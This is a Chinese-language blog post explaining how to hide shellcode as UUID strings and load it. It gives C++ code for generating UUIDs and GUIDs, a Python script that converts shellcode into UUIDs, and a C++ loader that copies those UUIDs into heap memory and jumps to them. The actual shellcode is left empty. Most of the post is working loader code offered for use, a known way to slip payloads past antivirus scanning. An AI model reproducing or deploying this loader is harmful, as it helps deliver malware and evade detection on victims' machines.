ShellCode加载 - UUID加载
1、从UUID加载
1.1、什么是UUID
- UUID(Universally Unique Identifier)是一个128位长的数字,通常由32个字符组成,经常以五组数字的形式展现,如
550e8400-e29b-41d4-a716-446655440000
。 - UUID的主要目标是能够生成一个唯一的标识符,而不需要中心协调者来确保唯一性。
1.2、生成UUID
- 代码实现
#include <iostream>
#include <rpc.h> // 包含UUID相关的函数
int main() {
UUID uuid; // 声明一个UUID类型的变量
UuidCreate(&uuid); // 生成一个UUID
RPC_CSTR szUuid = NULL; // 声明一个字符串类型的指针,用于存储UUID的字符串表示
UuidToStringA(&uuid, &szUuid); // 将UUID转换为字符串
std::cout << "Generated UUID: " << szUuid << std::endl; // 输出生成的UUID
RpcStringFreeA(&szUuid); // 释放字符串占用的内存
return 0;
}
1.3、什么是GUID
- GUID(Globally Unique Identifier)是一个128位长的数字,与UUID(Universally Unique Identifier)是等同的。GUID常常被用在Microsoft技术和平台上,例如在Windows注册表、COM/DCOM接口、数据库等中作为唯一的标识符
- GUID的目的和UUID是一样的,都是为了提供一个全球唯一且随机的标识符
3.4、生成GUID
- 实现代码
#include <iostream>
#include <objbase.h> // 包含GUID相关的函数
int main() {
GUID guid; // 声明一个GUID类型的变量
CoCreateGuid(&guid); // 生成一个GUID
wchar_t wszGuid[40] = { 0 }; // 用于存储GUID字符串的数组
StringFromGUID2(guid, wszGuid, 39); // 将GUID转换为字符串
std::wcout << L"Generated GUID: " << wszGuid << std::endl; // 输出生成的GUID
return 0;
}
1.5、Python把shellcode转成uuid
- 实现代码
import uuid
# 示例shellcode(此处只是随机数据,不是真实shellcode)
shellcode = b''
def shellcode_to_uuids(shellcode):
uuids = []
for i in range(0, len(shellcode), 16):
chunk = shellcode[i:i+16]
# 如果最后一个块不足16字节,则填充它
if len(chunk) < 16:
chunk += b'\x90' * (16 - len(chunk))
# 将16字节块转换为UUID
u = uuid.UUID(bytes_le=chunk)
uuids.append(u)
return uuids
converted_uuids = shellcode_to_uuids(shellcode)
for u in converted_uuids:
print(u)
1.6、加载
- 实现代码
#include <windows.h>
#include <iostream>
#include <vector>
#include <rpc.h>
UUID uuids[] = {
};
int main() {
int uuidCount = sizeof(uuids) / sizeof(UUID);
// 使用HeapAlloc在堆上分配内存
unsigned char* shellcode_memory = (unsigned char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, uuidCount * 16);
// 解码UUIDs并将shellcode写入堆上分配的内存
for (int i = 0; i < uuidCount; i++) {
memcpy(shellcode_memory + (i * 16), &uuids[i], 16);
}
// 执行shellcode
((void(*)())shellcode_memory)();
// 清理
HeapFree(GetProcessHeap(), 0, shellcode_memory);
return 0;
}
版权所有:Ljierui'Blog
文章标题:ShellCode加载 - UUID加载
文章链接:https://fuckdog.org/post-23.html
本站文章均为原创,未经授权请勿用于任何商业用途
文章标题:ShellCode加载 - UUID加载
文章链接:https://fuckdog.org/post-23.html
本站文章均为原创,未经授权请勿用于任何商业用途
推荐阅读: